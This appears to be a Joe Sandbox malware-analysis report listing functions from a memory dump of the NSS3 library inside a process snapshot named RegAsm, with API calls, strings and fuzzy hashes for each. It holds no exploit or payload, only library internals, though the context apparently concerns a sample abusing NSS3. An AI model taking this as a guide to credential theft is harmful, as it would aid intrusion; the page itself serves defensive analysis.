Opcode Fuzzy Hash: 7a07cf692b4cb5b8b6013cee99490a098e2bdc983344e24812696b4c2bc50055
Instruction Fuzzy Hash: 2C310471741154AFEB209B64DD4CB4B3BF5EB4631CF454024E80CA7612DB34E989EBD2

Function 6C006EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C006F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C006F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C006F53

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C006F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C006F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C006FA1

Strings

pPart = 0x%p, xrefs: 6C006F83
C_DigestUpdate, xrefs: 6C006F11
ulPartLen = %d, xrefs: 6C006F9C
hSession = 0x%x, xrefs: 6C006F2E, 6C006F3E
(CK_INVALID_HANDLE), xrefs: 6C006F4C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: fc12247c55c1752d2bec935a7e0226e7c204c79dd0414f63cec275245136ac04
Instruction ID: adbbcf05f542857a9f7542c477f0043f8a3897639a21410d99ebf63d20e11809
Opcode Fuzzy Hash: fc12247c55c1752d2bec935a7e0226e7c204c79dd0414f63cec275245136ac04
Instruction Fuzzy Hash: 6C31E475701124AFEB10AB64DD48F5A3BF6EB4631CF494424EC0CA7612DB34E989EBD2

Function 6C0A2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C0A2D9F

Part of subcall function 6BF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6BFBF9C9,?,6BFBF4DA,6BFBF9C9,?,?,6BF8369A), ref: 6BF5CA7A
Part of subcall function 6BF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6BF5CB26

sqlite3_exec.NSS3(?,?,6C0A2F70,?,?), ref: 6C0A2DF9
sqlite3_free.NSS3(00000000), ref: 6C0A2E2C
sqlite3_free.NSS3(?), ref: 6C0A2E3A
sqlite3_free.NSS3(?), ref: 6C0A2E52
sqlite3_mprintf.NSS3(6C10AAF9,?), ref: 6C0A2E62
sqlite3_free.NSS3(?), ref: 6C0A2E70
sqlite3_free.NSS3(?), ref: 6C0A2E89
sqlite3_free.NSS3(?), ref: 6C0A2EBB
sqlite3_free.NSS3(?), ref: 6C0A2ECB
sqlite3_free.NSS3(00000000), ref: 6C0A2F3E
sqlite3_free.NSS3(?), ref: 6C0A2F4C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: aedcfe6513e59aefa884c92d9a8bac99f0dc119a8bf23ce1d0dcc5a923635069
Instruction ID: 2a1901ec1964b8a261867ba89422489b952a9019ece6636f717deda1a6e24bda
Opcode Fuzzy Hash: aedcfe6513e59aefa884c92d9a8bac99f0dc119a8bf23ce1d0dcc5a923635069
Instruction Fuzzy Hash: CC6182B6E012058BEB01CFE5D885B9EB7F1AF58348F154034DC59A7712E735E892CBA1

Function 6BFDE910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6BFDE93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6BFDE94E
PORT_Alloc_Util.NSS3(00000001), ref: 6BFDE995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BFDE9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6BFDE9CA
PORT_Strdup_Util.NSS3(6C11933E), ref: 6BFDEA17
PORT_Alloc_Util.NSS3(00000001), ref: 6BFDEA28

Part of subcall function 6C030BE0: malloc.MOZGLUE(6C028D2D,?,00000000,?), ref: 6C030BF8
Part of subcall function 6C030BE0: TlsGetValue.KERNEL32(6C028D2D,?,00000000,?), ref: 6C030C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BFDEA3C
free.MOZGLUE(?), ref: 6BFDEA69

Strings

http://, xrefs: 6BFDE935

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: e601461216ccc704006047e8f209ac555e161b6794b26fb44acb3e734be5db30
Instruction ID: e4b25da56abefae9a275816aabeac84d50607f35a460d7c0321268b16e6a1c7b
Opcode Fuzzy Hash: e601461216ccc704006047e8f209ac555e161b6794b26fb44acb3e734be5db30
Instruction Fuzzy Hash: 9B419E77D692079BEF604B688C817EEF7A5AB06318F4C00A1EC9497361E21E9547C2B7

Function 6C01ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C01DE64), ref: 6C01ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C01ED22

Part of subcall function 6C02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1018D0,?), ref: 6C02B095

PL_FreeArenaPool.NSS3(?), ref: 6C01ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C01ED6B
PR_CallOnce.NSS3(6C132AA4,6C0312D0), ref: 6C01ED38

Part of subcall function 6BF54C70: TlsGetValue.KERNEL32(?,?,?,6BF53921,6C1314E4,6C09CC70), ref: 6BF54C97
Part of subcall function 6BF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6BF53921,6C1314E4,6C09CC70), ref: 6BF54CB0
Part of subcall function 6BF54C70: PR_Unlock.NSS3(?,?,?,?,?,6BF53921,6C1314E4,6C09CC70), ref: 6BF54CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C01ED52
PR_CallOnce.NSS3(6C132AA4,6C0312D0), ref: 6C01ED83
PL_FreeArenaPool.NSS3(?), ref: 6C01ED95
PL_FinishArenaPool.NSS3(?), ref: 6C01ED9D

Part of subcall function 6C0364F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C03127C,00000000,00000000,00000000), ref: 6C03650E

Strings

security, xrefs: 6C01ED06

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: a5f06108c0542ff03dd79e4fac15fca5a4a076d7a9b2544697a07f77a79fb829
Instruction ID: c0e39d7fc1442fc7f691180c9b91734af9b7665fc3512a7e1f464308df62fe64
Opcode Fuzzy Hash: a5f06108c0542ff03dd79e4fac15fca5a4a076d7a9b2544697a07f77a79fb829
Instruction Fuzzy Hash: BA116A36D0822567EB105761AC4CBBFB2F8BF4170CF040835E86967E81FB24B61896D7

Function 6C002CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C002CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C002D07

Part of subcall function 6C0E09D0: PR_Now.NSS3 ref: 6C0E0A22
Part of subcall function 6C0E09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C0E0A35
Part of subcall function 6C0E09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C0E0A66
Part of subcall function 6C0E09D0: PR_GetCurrentThread.NSS3 ref: 6C0E0A70
Part of subcall function 6C0E09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C0E0A9D
Part of subcall function 6C0E09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C0E0AC8
Part of subcall function 6C0E09D0: PR_vsmprintf.NSS3(?,?), ref: 6C0E0AE8
Part of subcall function 6C0E09D0: EnterCriticalSection.KERNEL32(?), ref: 6C0E0B19
Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C0E0B48
Part of subcall function 6C0E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C0E0C76
Part of subcall function 6C0E09D0: PR_LogFlush.NSS3 ref: 6C0E0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C002D22

Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(?), ref: 6C0E0B88
Part of subcall function 6C0E09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C0E0C5D
Part of subcall function 6C0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C0E0C8D
Part of subcall function 6C0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0C9C
Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(?), ref: 6C0E0CD1
Part of subcall function 6C0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C0E0CEC
Part of subcall function 6C0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0CFB
Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C0E0D16
Part of subcall function 6C0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C0E0D26
Part of subcall function 6C0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0D35
Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C0E0D65
Part of subcall function 6C0E09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C0E0D70
Part of subcall function 6C0E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C0E0D90
Part of subcall function 6C0E09D0: free.MOZGLUE(00000000), ref: 6C0E0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C002D3B

Part of subcall function 6C0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C0E0BAB
Part of subcall function 6C0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0BBA
Part of subcall function 6C0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C002D54

Part of subcall function 6C0E09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C0E0BCB
Part of subcall function 6C0E09D0: EnterCriticalSection.KERNEL32(?), ref: 6C0E0BDE
Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(?), ref: 6C0E0C16

Strings

C_InitToken, xrefs: 6C002CE7
slotID = 0x%x, xrefs: 6C002D02
ulPinLen = %d, xrefs: 6C002D36
pPin = 0x%p, xrefs: 6C002D1D
pLabel = 0x%p, xrefs: 6C002D4F

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: bb1ffad4601c10ae7874a2ff17ed188c97a80d2d1fec90fe5b5b7556a0c06af3
Instruction ID: 25ea88c89492139eb54bd0004a2c10af113383cc457b3f4fa66d9113829edf2a
Opcode Fuzzy Hash: bb1ffad4601c10ae7874a2ff17ed188c97a80d2d1fec90fe5b5b7556a0c06af3
Instruction Fuzzy Hash: E521CF75300144EFEB10AF64DD8CB4A3BF2EB8631DF458016E50C97622DB70AC89EBA1

Function 6C0E0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6BFC2357), ref: 6C0E0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6BFC2357), ref: 6C0E0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C0E0EE6

Part of subcall function 6C0E09D0: PR_Now.NSS3 ref: 6C0E0A22
Part of subcall function 6C0E09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C0E0A35
Part of subcall function 6C0E09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C0E0A66
Part of subcall function 6C0E09D0: PR_GetCurrentThread.NSS3 ref: 6C0E0A70
Part of subcall function 6C0E09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C0E0A9D
Part of subcall function 6C0E09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C0E0AC8
Part of subcall function 6C0E09D0: PR_vsmprintf.NSS3(?,?), ref: 6C0E0AE8
Part of subcall function 6C0E09D0: EnterCriticalSection.KERNEL32(?), ref: 6C0E0B19
Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C0E0B48
Part of subcall function 6C0E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C0E0C76
Part of subcall function 6C0E09D0: PR_LogFlush.NSS3 ref: 6C0E0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C0E0EFA

Part of subcall function 6BFCAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6BFCAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C0E0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C0E0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C0E0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C0E0F2B

Strings

Aborting, xrefs: 6C0E0EB3
Assertion failure: %s, at %s:%d, xrefs: 6C0E0ED9, 6C0E0EE5, 6C0E0F06, 6C0E0F0B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 6a465fb63628009a19e49d4bbcb67dbbfada92e6d9afbe6e5d94fe57f0def932
Instruction ID: d3cc581a6c661b670a87b84c12fe4f7c7f6dab3d595cf55377f9503e92b46034
Opcode Fuzzy Hash: 6a465fb63628009a19e49d4bbcb67dbbfada92e6d9afbe6e5d94fe57f0def932
Instruction Fuzzy Hash: 71F0C8B99401187BEF007BA0DC4AC9B3E3DDF86268F004424FE0956602DA39E954A7F3

Function 6C044DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C044DCB

Part of subcall function 6C030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BFD87ED,00000800,6BFCEF74,00000000), ref: 6C031000
Part of subcall function 6C030FF0: PR_NewLock.NSS3(?,00000800,6BFCEF74,00000000), ref: 6C031016
Part of subcall function 6C030FF0: PL_InitArenaPool.NSS3(00000000,security,6BFD87ED,00000008,?,00000800,6BFCEF74,00000000), ref: 6C03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C044DE1

Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C0310F3
Part of subcall function 6C0310C0: EnterCriticalSection.KERNEL32(?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03110C
Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031141
Part of subcall function 6C0310C0: PR_Unlock.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031182
Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C044DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C044E59

Part of subcall function 6C02FAB0: free.MOZGLUE(?,-00000001,?,?,6BFCF673,00000000,00000000), ref: 6C02FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C10300C,00000000), ref: 6C044EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C044EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C044F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C04521A

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 88249b2035e54d2a69edaed62106eaee270301a1cceb8a6727a35eecb5599da3
Instruction ID: 0782ea4bf976c82b7a7b06dc14fa5a8db7227eb75b62d8bc8d5360e11ec954d6
Opcode Fuzzy Hash: 88249b2035e54d2a69edaed62106eaee270301a1cceb8a6727a35eecb5599da3
Instruction Fuzzy Hash: 50F19C75E0020ADBDB04CF94D840BAEB7F2BF48358F258179E915AB780E775E981CB90

Function 6C040C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C042C2A), ref: 6C040C81

Part of subcall function 6C02BE30: SECOID_FindOID_Util.NSS3(6BFE311B,00000000,?,6BFE311B,?), ref: 6C02BE44

Part of subcall function 6C018500: SECOID_GetAlgorithmTag_Util.NSS3(6C0195DC,00000000,00000000,00000000,?,6C0195DC,00000000,00000000,?,6BFF7F4A,00000000,?,00000000,00000000), ref: 6C018517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C040CC4

Part of subcall function 6C02FAB0: free.MOZGLUE(?,-00000001,?,?,6BFCF673,00000000,00000000), ref: 6C02FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C040CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C040D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C040D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C040D7D
free.MOZGLUE(00000000), ref: 6C040DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C040DC1
free.MOZGLUE(00000000), ref: 6C040DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C040E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C040E0F

Part of subcall function 6C0195C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6BFF7F4A,00000000,?,00000000,00000000), ref: 6C0195E0
Part of subcall function 6C0195C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6BFF7F4A,00000000,?,00000000,00000000), ref: 6C0195F5
Part of subcall function 6C0195C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C019609
Part of subcall function 6C0195C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C01961D
Part of subcall function 6C0195C0: PK11_GetInternalSlot.NSS3 ref: 6C01970B
Part of subcall function 6C0195C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C019756
Part of subcall function 6C0195C0: PK11_GetIVLength.NSS3(?), ref: 6C019767
Part of subcall function 6C0195C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C01977E
Part of subcall function 6C0195C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C01978E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 8fa2fff38b22b45526ed687da643b5008b1ba1a3d175a1300c1a2ea33e6c7b67
Instruction ID: 1b5c1bb6c617383bf5906712e4e2facb300e8bef908089967037b2e567eeef19
Opcode Fuzzy Hash: 8fa2fff38b22b45526ed687da643b5008b1ba1a3d175a1300c1a2ea33e6c7b67
Instruction Fuzzy Hash: 7941BDB5904246ABEB009F64DC45BAF76F8AF1430CF104034E9196B741E735FA58CBE2

Function 6BFD4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C120148,?,6BFE6FEC), ref: 6BFD502A
PR_NewLock.NSS3(00000001,00000000,6C120148,?,6BFE6FEC), ref: 6BFD5034
PL_NewHashTable.NSS3(00000000,6C02FE80,6C02FD30,6C07C350,00000000,00000000,00000001,00000000,6C120148,?,6BFE6FEC), ref: 6BFD5055
PL_NewHashTable.NSS3(00000000,6C02FE80,6C02FD30,6C07C350,00000000,00000000,?,00000001,00000000,6C120148,?,6BFE6FEC), ref: 6BFD506D

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 67ce61f996669082bd1c21455707d81c23400bc6a6860762eab6b920783f31c8
Instruction ID: c6644f1adbf5b2584c8fcea18b53ceeb402b6dc6e661c81f1f39c26785261818
